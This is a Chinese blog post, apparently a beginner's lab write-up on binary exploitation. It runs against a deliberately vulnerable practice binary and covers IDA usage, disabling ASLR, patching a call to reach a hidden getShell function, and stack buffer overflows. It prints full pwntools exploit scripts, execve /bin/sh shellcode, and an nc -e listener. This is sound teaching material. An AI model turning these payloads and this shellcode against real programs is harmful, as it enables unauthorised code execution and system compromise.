• pwn入门学习(exp1)


    常用汇编指令及寄存器的作用

    • NOP:NOP指令即“空指令”。执行到NOP指令时,CPU什么也不做,仅仅当做一个指令执行过去并继续执行NOP后面的一条指令。(机器码:90)

    • JNE:条件转移指令,如果不相等则跳转。(机器码:75)

    • J E:条件转移指令,如果相等则跳转。(机器码:74)

    • JMP:无条件转移指令。段内直接短转Jmp short(机器码:EB)段内直接近转移Jmp near(机器码:E9)段内间接转移Jmp word(机器码:FF)段间直接(远)转移Jmp far(机器码:EA)

    • CMP:比较指令,功能相当于减法指令,只是对操作数之间运算比较,不保存结果。cmp指令执行后,将对标志寄存器产生影响。其他相关指令通过识别这些被影响的标志寄存器位来得知比较结果。

    • EAX:通用寄存器。相对其他寄存器,在进行运算方面比较常用。在保护模式中,也可以作为内存偏移指针(此时,DS作为段 寄存器或选择器)

    • EBX:通用寄存器。通常作为内存偏移指针使用(相对于EAX、ECX、EDX),DS是默认的段寄存器或选择器。在保护模式中,同样可以起这个作用。

    • ECX:通用寄存器。通常用于特定指令的计数。在保护模式中,也可以作为内存偏移指针(此时,DS作为 寄存器或段选择器)。

    • EDX:通用寄存器。在某些运算中作为EAX的溢出寄存器(例如乘、除)。在保护模式中,也可以作为内存偏移指针(此时,DS作为段 寄存器或选择器)。

    • ESI:通常在内存操作指令中作为“源地址指针”使用。当然,ESI可以被装入任意的数值,但通常没有人把它当作通用寄存器来用。DS是默认段寄存器或选择器。

    • EDI:通常在内存操作指令中作为“目的地址指针”使用。当然,EDI也可以被装入任意的数值,但通常没有人把它当作通用寄存器来用。DS是默认段寄存器或选择器。

    • EBP:这也是一个作为指针的寄存器。通常,它被高级语言编译器用以建造‘堆栈帧'来保存函数或过程的局部变量,不过,还是那句话,你可以在其中保存你希望的任何数据。SS是它的默认段寄存器或选择器。

    工具选择

    • kali2020:用于提供linux环境

    • python3:用于编写脚本辅助攻击

    • ida:用于查看和调试程序运行情况

    场景实操

    准备工作

    root@zengyutao:~# execstack -s 20181221pwn3    //设置堆栈可执行
    root@zengyutao:~# execstack -q 20181221pwn3    //查询文件的堆栈是否可执行
    X 20181221pwn3
    root@zengyutao:~# more /proc/sys/kernel/randomize_va_space 
    2
    root@zengyutao:~# echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化
    root@zengyutao:~# more /proc/sys/kernel/randomize_va_space 
    0
    

    ida部分使用教程

    1. 确定程序是32位还是64位,选择相应的ida打开。如果是32位的程序使用了64位的ida打开,虽然可以看到反汇编代码,但是无法进行转化为伪代码的操作,会报错,示例如下。

    1. 按F5进行转换,查看程序伪代码,这样可以知道程序编写逻辑,同时查看是否有隐藏的函数。(本次实践中的程序在主函数中只调用了foo函数,隐藏了getShell函数,如图所示)

    2. 同时,我们可以还通过切换窗口视图来查看不同的窗口(反汇编窗口、伪代码窗口、十六进制窗口、结构窗口、函数窗口等),反汇编窗口中可以通过空格切换为图形视图和文字视图,同时,还可以下断点对程序进行调试。

    1. 如果想要让主机上的ida和虚拟机进行交互,需要进行部分配置。
    • 更改ida模式为“Remote Linux debugger"

    image-20210310110413951

    • 查看虚拟机IP地址,并打开导航栏里的Debugger->Process options,修改配置。(红框内为需要输入的虚拟机IP地址)

    image-20210310122401095

    • 打开ida文件夹里的dbgsrv文件夹,将对应的linux_server文件放到需要交互的虚拟机文件夹中。

    image-20210310111106938

    • 本地打开需要调试的程序,下好断点后按F9开始调试,同时虚拟机中可以将payload发送过来。在调试中,F2下断点,F7单步步入,F8单步步过。

    image-20210310112001780

    image-20210310112013935

    实践目标

    本次实践的对象是一个名为pwn1的linux可执行文件。

    该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。

    但该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法getshell。

    1、直接修改程序机器指令,改变程序执行流程

    首先,用ida打开程序pwn1,F5查看程序伪代码逻辑结构

    image-20210310155710846

    可以看到,main函数中的逻辑非常简单,调用foo函数,然后结束,我们再看看foo函数的逻辑。

    image-20210310155823271

    foo函数会获取用户输入,然后返回用户输出。此外,我们还发现了一个显眼的getshell函数。

    image-20210310155953097

    getShell函数为我们提供了一个可用shell。于是思路就出现了,我们可以通过修改main函数中调用foo函数的地址,使其跳转到getShell函数,即可完成攻击。所以我们要查看main函数和getShell的函数的机器码和地址。

    image-20210310160430190

    通过双击左侧函数列表分别查看foo函数和getshell函数的入口,我们发现,foo函数的入口地址为08048491,getShell函数的入口地址为0804847D。所以,我们只需要修改程序16进制值,将08048491替换为0804847D即可达成目的。

    image-20210310161159136

    image-20210310161238423

    我们先选中main函数中关键的地址

    image-20210310161417188

    再查看16进制值,E8是跳转的机器码,我们想让它调用getShell,只要修改“d7ffffff”为,"0804847D-80484ba"对应的补码就行。

    image-20210310161455534

    最后,我们使用winhex工具,通过计算,将D7FFFFFF改为C3FFFFFF即可完成攻击。

    image-20210310161829512

    image-20210310161842844

    2、通过构造输入参数,造成BOF攻击,改变程序执行流

    根据刚刚我们查看foo函数伪代码,可以知道,这里存在缓冲区溢出的漏洞。

    首先,函数定义了一个char型的s,然后通过gets函数将用户输入的数据存入s中,再输出s中的内容。而通常char分为无符号(unsigned)和有符号(signed)两种:

    • 无符号(unsigned)的取值范围:0~255;

    • 有符号(signed)的取值范围为:-128~127.

    一般我们常用char来声明一个变量,编译器默认为有符号的,即范围为:-128~127。

    具体缓冲区溢出攻击原理看博客:https://www.cnblogs.com/fanzhidongyzby/archive/2013/08/10/3250405.html

    因此,我们只需要输入字节足够长的内容,就可以成功覆盖返回地址。通过计算,128/4=32,再加上返回地址,所以我们至少需要输入36个字符才能够到达返回地址。所以我们尝试输入”11111111222222223333333344444444haha“

    image-20210310164322038

    可以看到红框处,我们输入的”11111111222222223333333344444444“已经把缓冲区填充满了。然后选中的地方也可以发现,返回地址

    也已经被我们输入的”haha"占据了。因此,我们只需要将haha替换为getShell函数的返回地址,就可以成功攻击了。

    因此,我们只需要在脚本中修改一下payload的值,将haha替换为"x7dx84x04x08"即可。

    image-20210310165020789

    image-20210310165137549

    这里贴上脚本,仅供参考:

    from pwn import *
    
    p = process('./20181221pwn3')
    payload = '11111111222222223333333344444444'+'x7dx84x04x08'
    p.sendline(payload)
    p.interactive()
    

    3、尝试注入自己的shellcode并运行拿shell

    首先,我们先打开一个空白文档,将汇编语言写到文档中,并保存为.asm文件

    image-20210310170109474

    global _start
    _start:
    mov eax,0 ;eax置0
    mov edx,0 ;edx置0
    push edx
    push "/sh"
    push "/bin"  ;将/bin/sh存入栈中
    mov ebx,esp  ;ebx指向/bin/sh字符串
    xor eax,eax
    mov al,0Bh   ;eax置为execve函数中断号
    int 80h
    

    然后,我们用nasm编译,生成目标文件,再用gun ld来连接:

    nasm -f elf32 -o shellcode.o shellcode.asm
    ld -m elf_i386 -o shellcode shellcode.o
    

    再提取机器码:

    for i in $(objdump -d shellcode | grep "^ " | cut -f2); do echo -n ' '$i; done; echo
    

    于是我们就得到了最终的shellcode

    x31xc9x31xd2x52x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x31xc0xb0x0bxcdx80
    

    我们把这个shellcode添加到我们的脚本中,并运行

    image-20210310171326669

    可以看到,shellcode的地址在FFFFD1B0中,我们只需要将”61686168“也就是”haha“改成"xb0xd1xffxff"既可

    image-20210310171528910

    至此,使用填充字符法溢出缓冲区的攻击已经完成。下面附上脚本:

    from pwn import *
    
    p = process('./20181221pwn3')
    payload = '11111111222222223333333344444444'+'xb0xd1xffxffx31xc9x31xd2x52x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x31xc0xb0x0bxcdx80'
    p.sendline(payload)
    p.interactive()
    

    那么,就有人问了,我如果不想填充那么多溢出缓冲区怎么办?也有办法

    我们可以把我们的shellcode写到缓冲区内部,再使用NOP填充到返回地址并修改就好了。

    我们还是使用上面的shellcode作为演示,这次我们的payload是:

    x31xc9x31xd2x52x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x31xc0xb0x0bxcdx80x90x90x90x90x90x90x90x90x90x8cxd1xffxff
    

    由于char型缓冲区的长度为128,所以我们需要填充9个"x90"才能到达返回地址。

    image-20210310175426677

    不过这里有一个小细节需要注意,我们的shellcode长度不能太长,因为我们这时候已经快到EBX和ESP了。经过测试,我们shellcode的最大长度为24字节。

    image-20210310174619180

    最后附上脚本:

    from pwn import *
    
    p = process('./20181221pwn3')
    payload = 'x31xc9x31xd2x52x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x31xc0xb0x0bxcdx80x90x90x90x90x90x90x90x90x90x8cxd1xffxff'
    p.sendline(payload)
    p.interactive()
    

    4、远程nc连接getshell

    首先,在主机终端输入指令开启监听

    nc -l -p 28234 -e ./20181221pwn3
    

    image-20210315193658438

    然后在另一台机上使用nc连接,这里我们直接使用pwn模组内置的remote函数进行连接。然后再直接通过脚本将shellcode传进去,就可以getshell了。

    image-20210315195156273

    最后贴上脚本:

    from pwn import *
    
    p = remote("192.168.211.137",28234)
    
    test1shellcode = 'x31xc9x31xd2x52x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x31xc0xb0x0bxcdx80x90x90x90x90x90x90x90x90x90xecxd1xffxff'
    
    payload = test1shellcode
    
    p.sendline(payload)
    
    p.interactive()
    
    

    心得体会

    总的来说,这次实验比较基础,教会了我如何查看分析文件二进制。同时,对于汇编指令和机器码也有了更加深入的理解,能够自行编写shellcode。收获颇丰。

  • 相关阅读:
    VI命令----用于检索
    NIO框架Mina学习
    Android闹钟开发与展示Demo
    Golang mysql使用举例---连接本地数据库
    mysql通信协议
    大小端定义
    npm是什么
    菜鸟如何学习vue
    cgred不能自动将pid放入tasks
    centos7上为什么不使用libcgroup进行资源限制
  • 原文地址:https://www.cnblogs.com/MisakaYuii-Z/p/14508621.html
Copyright © 2020-2023  润新知